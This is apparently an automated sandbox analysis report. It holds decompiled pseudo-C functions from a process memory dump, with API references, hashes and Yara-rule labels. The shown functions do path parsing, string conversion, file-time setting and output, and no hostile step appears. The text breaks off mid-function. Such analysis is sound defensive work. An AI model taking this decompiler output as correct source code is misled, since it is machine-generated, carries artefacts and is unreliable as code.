0x012590ef
0x012590f7
0x012590f7
0x012590f7
0x01259100
0x01259105
0x0125910a
0x0125910c
0x01259111
0x01259111
0x01259114
0x00000000
0x01259114
0x012590e8
0x012590eb
0x00000000
0x00000000
0x00000000
0x012590eb
0x00000000
0x01259053
0x0125904e
0x01258f80
0x01258f84
0x01258f90
0x01258f90
0x01258f92
0x01258f97
0x01258f9a
0x01258faa
0x01258faa
0x01258f9c
0x01258f9c
0x01258fa0
0x01258fa6
0x01258fa6
0x01258fac
0x01258fae
0x01258fb3
0x01258fb3
0x01258fb9
0x00000000
0x01258fb9
0x01258f86
0x01258f8a
0x00000000
0x00000000
0x00000000
0x01258f8a
0x01258f66
0x01258e57
0x01258e5a
0x01258e5f
0x01258e62
0x01258e66
0x01258e68
0x01258e83
0x01258e86
0x01258e88
0x01258e92
0x01258e9b
0x01258e9f
0x01258ea7
0x01258eab
0x01258eb0
0x01258e6a
0x01258e7c
0x01258e7c
0x01258ec3
0x01258ec6
0x01258ec8
0x01258ece
0x01258ed2
0x01258ed4
0x01258ed6
0x01258edb
0x01258ede
0x01258ef0
0x01258ef0
0x01258ee0
0x01258ee0
0x01258ee3
0x01258ee6
0x01258eec
0x01258eec
0x01258ef2
0x01258ef4
0x01258ef7
0x01258efc
0x01258efc
0x01258eff
0x01258f03
0x01258f06
0x01258f0a
0x01258f0d
0x01258f10
0x01258f13
0x01258f18
0x01258f1b
0x01258f1b
0x01258f1d
0x01258f1d
0x01258eca
0x01258eca
0x01258eca
0x01258f22
0x012590a1
0x012590a1
0x012590a1
0x00000000
0x01258e27
0x01258e27
0x012591e6
0x012591eb
0x012591f4
0x012591f4

APIs

__EH_prolog.LIBCMT ref: 01258DF5

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 232f056267e0fb74a1660e201e92b34df0f6f8a75721f0cc67cd59d155c4f0bf
Instruction ID: 40547679928f5edda5c1ec28019d90ff43311fbeb5775bd6a6c8581c19c3ac16
Opcode Fuzzy Hash: 232f056267e0fb74a1660e201e92b34df0f6f8a75721f0cc67cd59d155c4f0bf
Instruction Fuzzy Hash: 78E1BF74920646DFDF22DF68C884AAEBBF5BF49304F14844DEE469B291C770E985CB60

Uniqueness

Uniqueness Score: -1.00%

Function 01233F18 Relevance: 7.7, APIs: 5, Instructions: 226
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E01233F18(intOrPtr __ecx) {
				void* __ebx;
				void* __edi;
				signed int _t116;
				void* _t132;
				void* _t144;
				signed int _t147;
				void* _t152;
				signed int _t156;
				intOrPtr* _t158;
				signed int _t165;
				char _t166;
				signed int _t168;
				intOrPtr _t170;
				signed int _t191;
				void* _t208;
				signed int _t211;
				void* _t213;
				wchar_t** _t214;
				void* _t216;

				E012639E0(E012642C5, _t216);
				 *((intOrPtr*)(_t216 - 0x20)) = __ecx;
				_t170 =  *((intOrPtr*)(_t216 + 0x10));
				_t165 = 0;
				_t221 =  *((intOrPtr*)(_t170 + 4));
				if( *((intOrPtr*)(_t170 + 4)) == 0) {
					_push(0x126d248);
					_push(_t216 + 0x18);
					 *((intOrPtr*)(_t216 + 0x18)) = "Empty file path";
					L01263CAC();
				}
				 *(_t216 - 0x18) = _t165;
				 *(_t216 - 0x14) = _t165;
				 *(_t216 - 0x10) = _t165;
				_t206 = _t216 - 0x18;
				 *(_t216 - 4) = _t165;
				E0123373A(_t170, _t216 - 0x18, _t221);
				_t116 =  *(_t216 - 0x14);
				 *(_t216 + 0x13) = 1;
				_t15 = _t116 * 4; // 0x0
				if( *((intOrPtr*)( *((intOrPtr*)( *(_t216 - 0x18) + _t15 - 4)) + 4)) == _t165) {
					 *(_t216 + 0x13) =  *(_t216 + 0x13) & 0x00000000;
					E012344FC(_t216 - 0x18);
				}
				E012328E9(_t216 - 0x48);
				 *(_t216 - 0x28) =  *(_t216 - 0x28) | 0xffffffff;
				_t208 = wcscmp;
				 *(_t216 - 4) = 1;
				if( *(_t216 - 0x14) >= 3) {
					_t158 =  *(_t216 - 0x18);
					if( *((intOrPtr*)( *_t158 + 4)) == _t165 &&  *((intOrPtr*)( *((intOrPtr*)(_t158 + 4)) + 4)) == _t165 && wcscmp( *( *(_t158 + 8)), "?") == 0) {
						 *(_t216 - 0x28) = 2;
					}
				}
				if( *((intOrPtr*)(_t216 + 8)) == 2) {
					L29:
					_t211 = E01233E59( *((intOrPtr*)(_t216 - 0x20)), _t216 - 0x48);
					_t245 = _t211 - _t165;
					if(_t211 < _t165) {
						E012329BC(_t216 - 0x94, _t245, _t216 - 0x48);
						 *(_t216 - 4) = 2;
						E012341C4(_t216 - 0x88);
						_push(_t216 - 0x94);
						 *(_t216 - 4) = 3;
						_t211 = E012346D8( *((intOrPtr*)(_t216 - 0x20)), _t208);
						 *(_t216 - 4) = 4;
						_t144 = E01233BE9(_t216 - 0x88);
						 *(_t216 - 4) = 1;
						E01231ABD(_t144,  *((intOrPtr*)(_t216 - 0x94)));
					}
					if( *((intOrPtr*)(_t216 + 8)) == 2 ||  *(_t216 - 0x14) != _t165 && ( *(_t216 - 0x14) != 1 ||  *((intOrPtr*)( *( *(_t216 - 0x18)) + 4)) != _t165)) {
						_t166 =  *((intOrPtr*)(_t216 + 0x14));
					} else {
						E0124C900(_t216 - 0x18);
						_push(E0123296F(_t216 - 0x54, "*"));
						 *(_t216 - 4) = 5;
						E01231ABD(E0123150C(_t216 - 0x18),  *((intOrPtr*)(_t216 - 0x54)));
						 *(_t216 + 0x13) = 1;
						 *((char*)(_t216 + 0x18)) = 1;
						_t166 = 0;
					}
					 *((intOrPtr*)(_t216 - 0x38)) = 0;
					 *((intOrPtr*)(_t216 - 0x34)) = 0;
					 *((intOrPtr*)(_t216 - 0x30)) = 0;
					_push(_t216 - 0x18);
					 *(_t216 - 4) = 6;
					E01234430(_t216 - 0x38);
					_push( *(_t216 - 0x28));
					 *((char*)(_t216 - 0x2b)) =  *(_t216 + 0x13);
					 *((char*)(_t216 - 0x29)) =  *((intOrPtr*)(_t216 + 0x18));
					 *((char*)(_t216 - 0x2a)) = 1;
					 *((char*)(_t216 - 0x2c)) = _t166;
					_push(_t216 - 0x38);
					_push( *((intOrPtr*)(_t216 + 0xc)));
					E01233AF1( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t216 - 0x20)))) + _t211 * 4)) + 0xc, _t206);
					 *(_t216 - 4) = 1;
					E01231ABD(E01248B2E(_t166, _t216 - 0x38),  *((intOrPtr*)(_t216 - 0x48)));
					 *(_t216 - 4) =  *(_t216 - 4) | 0xffffffff;
					_t132 = E01248B2E(_t166, _t216 - 0x18);
					 *[fs:0x0] =  *((intOrPtr*)(_t216 - 0xc));
					return _t132;
				} else {
					 *(_t216 - 0x28) =  *(_t216 - 0x28) | 0xffffffff;
					_t191 = E012341F4(_t216 - 0x18);
					_t147 =  *(_t216 - 0x14);
					 *(_t216 - 0x3c) = _t191;
					 *(_t216 - 0x1c) = _t191;
					if( *((intOrPtr*)(_t216 + 8)) != 1 && _t191 != _t165 && _t147 > _t191) {
						_t40 = _t147 - 1; // 0x2
						_t206 = _t40;
						 *(_t216 - 0x1c) = _t40;
					}
					 *(_t216 - 0x24) =  *(_t216 - 0x24) | 0xffffffff;
					_t168 = _t191;
					if(_t191 >= _t147) {
						L23:
						_t208 = 0;
						if( *(_t216 - 0x1c) <= 0) {
							L28:
							_t165 = 0;
							goto L29;
						} else {
							goto L24;
						}
						do {
							L24:
							_t213 =  *( *(_t216 - 0x18));
							if( *((char*)(_t216 + 0x18)) != 0 && _t208 >=  *(_t216 - 0x3c)) {
								_t152 = E0123393B(_t213);
								_t242 = _t152;
								if(_t152 != 0) {
									goto L28;
								}
							}
							E01232C71(_t216 - 0x48, _t242, _t213);
							E01231089(_t216 - 0x48, 0x5c);
							E01234522(_t216 - 0x18, 0);
							_t208 = _t208 + 1;
						} while (_t208 <  *(_t216 - 0x1c));
						goto L28;
					} else {
						do {
							_t214 =  *( *(_t216 - 0x18) + _t168 * 4);
							if(wcscmp( *_t214, L"..") == 0 || wcscmp( *_t214, ".") == 0) {
								 *(_t216 - 0x24) = _t168;
							}
							_t156 =  *(_t216 - 0x14);
							_t168 = _t168 + 1;
						} while (_t168 < _t156);
						if( *(_t216 - 0x24) >= 0) {
							_t50 = _t156 - 1; // 0x2
							if( *(_t216 - 0x24) != _t50) {
								_t156 = _t156 - 1;
							}
							 *(_t216 - 0x1c) = _t156;
						}
						goto L23;
					}
				}
			}

0x01233f1d
0x01233f28
0x01233f2c
0x01233f2f
0x01233f31
0x01233f34
0x01233f39
0x01233f3e
0x01233f3f
0x01233f46
0x01233f46
0x01233f4b
0x01233f4e
0x01233f51
0x01233f54
0x01233f57
0x01233f5a
0x01233f5f
0x01233f65
0x01233f69
0x01233f70
0x01233f72
0x01233f79
0x01233f79
0x01233f83
0x01233f88
0x01233f90
0x01233f96
0x01233f9a
0x01233f9c
0x01233fa4
0x01233fc1
0x01233fc1
0x01233fa4
0x01233fcc
0x01234091
0x0123409d
0x0123409f
0x012340a1
0x012340ad
0x012340b8
0x012340bc
0x012340ca
0x012340cb
0x012340d4
0x012340dc
0x012340e0
0x012340eb
0x012340ef
0x012340f4
0x012340f9
0x01234147
0x01234110
0x01234113
0x01234125
0x01234129
0x01234135
0x0123413b
0x0123413f
0x01234143
0x01234143
0x0123414c
0x0123414f
0x01234152
0x0123415b
0x0123415c
0x01234160
0x01234168
0x0123416b
0x01234171
0x0123417a
0x01234180
0x01234183
0x01234187
0x0123418d
0x01234195
0x012341a1
0x012341a6
0x012341ae
0x012341b9
0x012341c1
0x01233fd2
0x01233fd2
0x01233fe2
0x01233fe4
0x01233fe7
0x01233fea
0x01233fed
0x01233ff7
0x01233ff7
0x01233ffa
0x01233ffa
0x01233ffd
0x01234003
0x01234005
0x0123404a
0x0123404a
0x0123404f
0x0123408f
0x0123408f
0x00000000
0x00000000
0x00000000
0x00000000
0x01234051
0x01234051
0x01234058
0x0123405a
0x01234063
0x01234068
0x0123406a
0x00000000
0x00000000
0x0123406a
0x01234070
0x0123407a
0x01234084
0x01234089
0x0123408a
0x00000000
0x01234007
0x01234007
0x0123400f
0x0123401b
0x0123402d
0x0123402d
0x01234030
0x01234033
0x01234034
0x0123403c
0x0123403e
0x01234044
0x01234046
0x01234046
0x01234047
0x01234047
0x00000000
0x0123403c
0x01234005

APIs

__EH_prolog.LIBCMT ref: 01233F1D
_CxxThrowException.MSVCRT(00000002,0126D248), ref: 01233F46
wcscmp.MSVCRT ref: 01233FB9
wcscmp.MSVCRT ref: 01234015
wcscmp.MSVCRT ref: 01234025

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: wcscmp$ExceptionH_prologThrow
String ID:
API String ID: 2750596395-0
Opcode ID: c4cad3cda9dc81ede69992be184f1d6641b90444ad87b069248a1a63ca2e72b3
Instruction ID: 4a41f90eaa532b85eea940bbd4d406daa840bab4f2366eee446fbc791f138e01
Opcode Fuzzy Hash: c4cad3cda9dc81ede69992be184f1d6641b90444ad87b069248a1a63ca2e72b3
Instruction Fuzzy Hash: E791B1B1E1028ADFCF15EFA8C884AEDBBB4BF55314F54409DD641B7281DB305A85CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0123313C Relevance: 7.6, APIs: 5, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0123313C(signed int** __ecx, short** __edx, int _a4, void* _a8, signed int* _a12) {
				signed int _v5;
				void* _v12;
				int _v16;
				short* _v20;
				long _t35;
				int _t36;
				int _t46;
				char* _t53;
				int _t58;
				char** _t61;
				intOrPtr* _t62;

				_t61 = __ecx;
				_t35 = 0;
				_t62 = __edx;
				__ecx[1] = 0;
				 *( *__ecx) =  *( *__ecx) & 0;
				 *_a12 =  *_a12 & 0;
				_t58 = __edx[1];
				if(_t58 != 0) {
					_t36 = WideCharToMultiByte(_a4, 0,  *__edx, _t58, 0, 0, 0, 0);
					_v16 = _t36;
					if(_t36 != 0) {
						L4:
						_v12 = _v12 & 0x00000000;
						if(_a4 == 0xfde9 || _a4 == 0xfde8) {
							_v5 = 1;
						} else {
							_v5 = _v5 & 0x00000000;
						}
						if(_t36 > _t61[2]) {
							E01232285(_t61, _t36);
						}
						_v20 =  *_t62;
						asm("sbb eax, eax");
						_t53 =  *_t61;
						asm("sbb eax, eax");
						_t46 = WideCharToMultiByte(_a4, 0, _v20,  *(_t62 + 4), _t53, _v16,  !( ~_v5) &  &_a8,  !( ~_v5) &  &_v12);
						if(_v5 == 0) {
							 *_a12 = _t53 & 0xffffff00 | _v12 != 0x00000000;
						}
						if(_t46 == 0) {
							_t46 =  &_a4;
							_push(0x126d0e8);
							_push(_t46);
							_a4 = 0x44e74;
							L01263CAC();
						}
						_t54 =  *_t61;
						_t61[1] = _t46;
						_t54[_t46] = ( *_t61)[_t46] & 0x00000000;
						return _t46;
					}
					_t35 = GetLastError();
					if(0 != 0) {
						_t36 =  &_a4;
						_push(0x126d0e8);
						_push(_t36);
						_a4 = 0x44e74;
						L01263CAC();
						goto L4;
					}
				}
				return _t35;
			}

0x01233145
0x01233147
0x01233149
0x0123314d
0x01233150
0x01233155
0x01233157
0x0123315c
0x01233174
0x01233178
0x0123317b
0x012331a0
0x012331a0
0x012331ab
0x012331bc
0x012331b6
0x012331b6
0x012331b6
0x012331c3
0x012331c8
0x012331c8
0x012331d2
0x012331da
0x012331e3
0x012331eb
0x01233202
0x01233208
0x01233214
0x01233214
0x01233218
0x0123321a
0x0123321d
0x01233222
0x01233223
0x0123322a
0x0123322a
0x0123322f
0x01233231
0x01233234
0x00000000
0x01233234
0x0123317d
0x01233185
0x0123318b
0x0123318e
0x01233193
0x01233194
0x0123319b
0x00000000
0x0123319b
0x01233185
0x0123323c

APIs

WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?), ref: 01233174
GetLastError.KERNEL32 ref: 0123317D
_CxxThrowException.MSVCRT(?,0126D0E8), ref: 0123319B
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,?,00000001,00000001), ref: 01233202
_CxxThrowException.MSVCRT(0000FDE9,0126D0E8), ref: 0123322A

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ByteCharExceptionMultiThrowWide$ErrorLast
String ID:
API String ID: 2296236218-0
Opcode ID: 80c24d82ba45321188b8364e0ae865b60382e8d31c346cfe26960a5f933f7106
Instruction ID: 5a0c2c657b50bbd650f4eb70c68cce8a97e352b1094717a241ebe106e168da0c
Opcode Fuzzy Hash: 80c24d82ba45321188b8364e0ae865b60382e8d31c346cfe26960a5f933f7106
Instruction Fuzzy Hash: AC31A1B162424ABFEB11CFA8CC40BBEBBB9BF85344F108159E548D7141D774DA89CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0124D8B7 Relevance: 7.6, APIs: 6, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0124D8B7(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t14;
				signed int _t15;
				void* _t18;
				signed int _t19;
				signed int _t22;
				intOrPtr _t23;
				signed int* _t24;

				_t24 = _a12;
				_t23 = _a8;
				 *_t24 =  *_t24 & 0x00000000;
				_t18 = 0x10;
				_push(_t18);
				_push(0x126cdf8);
				_push(_t23);
				L01263D72();
				if(_t14 != 0) {
					_push(_t18);
					_push(0x126c3d8);
					_push(_t23);
					L01263D72();
					if(_t14 == 0) {
						goto L1;
					}
					_push(_t18);
					_push(0x126c358);
					_push(_t23);
					L01263D72();
					if(_t14 != 0) {
						_push(_t18);
						_push(0x126c568);
						_push(_t23);
						L01263D72();
						if(_t14 != 0) {
							_push(_t18);
							_push(0x126c368);
							_push(_t23);
							L01263D72();
							if(_t14 != 0) {
								_push(_t18);
								_push(0x126c388);
								_push(_t23);
								L01263D72();
								if(_t14 != 0) {
									return 0x80004002;
								}
								_t15 = _a4;
								_t19 = _t15;
								_t22 = _t15 + 0x10;
								L11:
								asm("sbb ecx, ecx");
								 *_t24 =  ~_t19 & _t22;
								L12:
								 *((intOrPtr*)(_t15 + 0x14)) =  *((intOrPtr*)(_t15 + 0x14)) + 1;
								return 0;
							}
							_t15 = _a4;
							_t19 = _t15;
							_t22 = _t15 + 0xc;
							goto L11;
						}
						_t15 = _a4;
						_t19 = _t15;
						_t22 = _t15 + 8;
						goto L11;
					}
					_t15 = _a4;
					_t19 = _t15;
					_t22 = _t15 + 4;
					goto L11;
				}
				L1:
				_t15 = _a4;
				 *_t24 = _t15;
				goto L12;
			}

0x0124d8bc
0x0124d8c0
0x0124d8c5
0x0124d8c8
0x0124d8c9
0x0124d8ca
0x0124d8cf
0x0124d8d0
0x0124d8da
0x0124d8e6
0x0124d8e7
0x0124d8ec
0x0124d8ed
0x0124d8f7
0x00000000
0x00000000
0x0124d8f9
0x0124d8fa
0x0124d8ff
0x0124d900
0x0124d90a
0x0124d916
0x0124d917
0x0124d91c
0x0124d91d
0x0124d927
0x0124d933
0x0124d934
0x0124d939
0x0124d93a
0x0124d944
0x0124d950
0x0124d951
0x0124d956
0x0124d957
0x0124d961
0x00000000
0x0124d97a
0x0124d963
0x0124d966
0x0124d968
0x0124d96b
0x0124d96d
0x0124d971
0x0124d973
0x0124d973
0x00000000
0x0124d976
0x0124d946
0x0124d949
0x0124d94b
0x00000000
0x0124d94b
0x0124d929
0x0124d92c
0x0124d92e
0x00000000
0x0124d92e
0x0124d90c
0x0124d90f
0x0124d911
0x00000000
0x0124d911
0x0124d8dc
0x0124d8dc
0x0124d8df
0x00000000

APIs

memcmp.MSVCRT ref: 0124D8D0
memcmp.MSVCRT ref: 0124D8ED
memcmp.MSVCRT ref: 0124D900

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 4afa57b82825b25be6c9dc833fc8e5ed7f42feb43ae4e91bf1bc49791bdcb03d
Instruction ID: 9b1d331377c8e02fe012b3423839b0e11ac9d369453eaa27d9048382a3ba53b5
Opcode Fuzzy Hash: 4afa57b82825b25be6c9dc833fc8e5ed7f42feb43ae4e91bf1bc49791bdcb03d
Instruction Fuzzy Hash: 9221267677030A7BD709AF15CC41F7A33ADAB71598B004529FD89DB241F660DD50C391

Uniqueness

Uniqueness Score: -1.00%

Function 01234C4D Relevance: 7.6, APIs: 5, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01234C4D(WCHAR* __ecx, FILETIME* __edx) {
				intOrPtr _t31;
				signed int _t35;
				void* _t39;
				signed int _t42;
				void* _t57;

				E012639E0(E0126443C, _t57);
				 *(_t57 - 0x10) =  *(_t57 - 0x10) | 0xffffffff;
				 *(_t57 - 0x1c) = __edx;
				 *(_t57 - 0x18) = __ecx;
				_t31 = E01237553(__ecx);
				 *((intOrPtr*)(_t57 - 0x14)) = _t31;
				if(_t31 == 1) {
					L2:
					if( *((intOrPtr*)(_t57 - 0x14)) != 0) {
						_t35 = E012328E9(_t57 - 0x28);
						 *(_t57 - 4) =  *(_t57 - 4) & 0x00000000;
						if(E0123765C( *(_t57 - 0x18), _t57 - 0x28, _t57, _t35 & 0xffffff00 |  *((intOrPtr*)(_t57 - 0x14)) != 0x00000001) != 0) {
							 *(_t57 - 0x10) = CreateFileW( *(_t57 - 0x28), 0x40000000, 3, 0, 3, 0x2000000, 0);
						}
						E01231ABD(_t37,  *(_t57 - 0x28));
					}
					L6:
					_t42 = 0;
					if( *(_t57 - 0x10) != 0xffffffff) {
						_t42 = 0 | SetFileTime( *(_t57 - 0x10),  *(_t57 - 0x1c),  *(_t57 + 8),  *(_t57 + 0xc)) != 0x00000000;
						CloseHandle( *(_t57 - 0x10));
					}
					 *[fs:0x0] =  *((intOrPtr*)(_t57 - 0xc));
					return _t42;
				}
				_t39 = CreateFileW( *(_t57 - 0x18), 0x40000000, 3, 0, 3, 0x2000000, 0);
				 *(_t57 - 0x10) = _t39;
				if(_t39 != 0xffffffff) {
					goto L6;
				}
				goto L2;
			}

0x01234c52
0x01234c5a
0x01234c61
0x01234c64
0x01234c67
0x01234c75
0x01234c82
0x01234c9b
0x01234c9f
0x01234ca4
0x01234ca9
0x01234cc2
0x01234cd3
0x01234cd3
0x01234cd9
0x01234cde
0x01234cdf
0x01234cdf
0x01234ce5
0x01234cfe
0x01234d01
0x01234d01
0x01234d0f
0x01234d17
0x01234d17
0x01234c91
0x01234c96
0x01234c99
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog.LIBCMT ref: 01234C52
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 01234C91
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,00000000), ref: 01234CD1
SetFileTime.KERNEL32(000000FF,?,?,?), ref: 01234CF3
CloseHandle.KERNEL32(000000FF), ref: 01234D01

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$Create$CloseH_prologHandleTime
String ID:
API String ID: 213185242-0
Opcode ID: abbd60833d7fcdf89d83e765d25bf0f911e7041099b956852cc14b8f2341931b
Instruction ID: ea98735f0baf1beead6372c1903b7b195397402cbfead3613221cc7f9a1d8bdd
Opcode Fuzzy Hash: abbd60833d7fcdf89d83e765d25bf0f911e7041099b956852cc14b8f2341931b
Instruction Fuzzy Hash: 782180B191020AABDF21AF98DC05BEEBFB9FF44724F108515E620761E0D7714A51DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0125BF6A Relevance: 7.6, APIs: 5, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125BF6A(struct _IO_FILE** __ecx, void* __edx, void* __eflags) {
				int _t30;
				void* _t39;
				void* _t41;
				void* _t54;
				struct _IO_FILE** _t58;
				void* _t63;

				E012639E0(0x126718c, _t63);
				_t58 = __ecx;
				_t41 = __edx;
				fputs( *(__edx + 4),  *__ecx);
				E0123232F(_t63 - 0x18);
				 *(_t63 - 4) =  *(_t63 - 4) & 0x00000000;
				_t54 = 6;
				E0125BC7F(_t63 - 0x18, _t54 -  *((intOrPtr*)(_t41 + 8)));
				_t30 = fputs( *(_t63 - 0x18),  *_t58);
				 *(_t63 - 4) =  *(_t63 - 4) | 0xffffffff;
				E01231ABD(_t30,  *(_t63 - 0x18));
				fputs( *(0x126af04 +  *(_t63 + 8) * 4),  *_t58);
				 *(_t63 - 0xd8) =  *(_t63 - 0xd8) & 0x00000000;
				E0124AE6D(_t63 - 0xd8, ( *(_t63 + 8) << 6) + _t41 + 0x14,  *((intOrPtr*)(_t41 + 0x10)));
				fputs(_t63 - 0xd8,  *_t58);
				_t39 = E01231CAE(_t58);
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return _t39;
			}

0x0125bf6f
0x0125bf83
0x0125bf85
0x0125bf8d
0x0125bf94
0x0125bf9c
0x0125bfa5
0x0125bfa8
0x0125bfb2
0x0125bfb7
0x0125bfbb
0x0125bfcc
0x0125bfd1
0x0125bfeb
0x0125bff9
0x0125bfff
0x0125c00a
0x0125c012

APIs

__EH_prolog.LIBCMT ref: 0125BF6F
fputs.MSVCRT ref: 0125BF8D
fputs.MSVCRT ref: 0125BFB2

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

fputs.MSVCRT ref: 0125BFCC
fputs.MSVCRT ref: 0125BFF9

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prologfputcfree
String ID:
API String ID: 3247574066-0
Opcode ID: 7b2113eef7df9f9e80cf11a6629fc90d24b1cd74d038a1ca15bdc6eb0ebf34c6
Instruction ID: 5e43ec4d4d92f54b610ce5b6e7b7d0ee20e8646796b3f028621b497f369b6fa0
Opcode Fuzzy Hash: 7b2113eef7df9f9e80cf11a6629fc90d24b1cd74d038a1ca15bdc6eb0ebf34c6
Instruction Fuzzy Hash: 1211B232A10105DBCF15EFA8E881AADBB76EF54310F104156E515A71D4DB319A64CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0123CAD7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0123CAD7(void* __ebx, void* __ecx, signed int __edx, void* __edi) {
				void* __esi;
				void* _t76;
				void* _t77;
				char _t79;
				void* _t81;
				intOrPtr _t112;
				void* _t115;
				signed int _t116;
				signed int _t121;
				signed int _t128;
				signed int _t155;
				void* _t157;
				signed int _t159;
				void* _t160;
				signed int _t162;
				void* _t164;

				E012639E0(E01264A8D, _t164);
				_t115 = __ecx;
				 *(_t164 - 0x10) = __edx;
				if(_t115 == 0) {
					_t157 = 0x126a750;
					_t116 = 7;
				} else {
					_t116 = 7;
					if(_t115 == 0) {
						_t157 = 0x126a7d0;
					} else {
						_t157 = 0x126a770;
					}
				}
				_t112 =  *((intOrPtr*)(_t164 + 8));
				memcpy(_t164 - 0x30, _t157, _t116 << 2);
				 *((char*)(_t112 + 0x44)) = 1;
				E0123D302(_t112 + 0x38);
				E012328E9(_t164 - 0xbc);
				 *(_t164 - 4) =  *(_t164 - 4) & 0x00000000;
				L20();
				_t158 = _t164 - 0x30;
				_t121 = 7;
				memcpy(_t164 - 0x58, _t164 - 0x30, _t121 << 2);
				_push(_t164 - 0xbc);
				 *(_t164 - 4) = 1;
				E0123D290(_t112 + 0x38, _t164 - 0x30 + _t121 + _t121, _t158);
				_t159 =  *(_t164 - 0x10);
				_t76 =  *_t159;
				if( *((char*)(_t76 + 0x1cc)) != 0) {
					_t20 = _t76 + 0x1d4; // 0x1d4
					_push(_t164 - 0x30);
					E0123CD40(_t112, _t20);
				}
				_t77 =  *_t159;
				if( *((char*)(_t77 + 0x154)) != 0) {
					_t107 =  *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x15c))));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t77 + 0x15c)))) + 4)) != 0) {
						E01232A8C(_t112 + 0xd4, _t107);
					} else {
						E0123565C(_t112 + 0xd4);
					}
				}
				_t79 =  *((intOrPtr*)( *_t159 + 0x21c));
				 *((char*)(_t112 + 0xa4)) = _t79;
				if(_t79 != 0) {
					E01232A8C(_t112 + 0xa8,  *((intOrPtr*)( *((intOrPtr*)( *_t159 + 0x224)))));
				}
				_t160 =  *_t159;
				if( *((char*)(_t160 + 0x1e0)) == 0) {
					L18:
					 *(_t164 - 4) = 2;
					_t81 = E01231ABD(E0123CCEC(_t164 - 0xb0),  *((intOrPtr*)(_t164 - 0xbc)));
					 *[fs:0x0] =  *((intOrPtr*)(_t164 - 0xc));
					return _t81;
				} else {
					_t155 = 0;
					if( *((intOrPtr*)(_t160 + 0x1ec)) <= 0) {
						goto L18;
					} else {
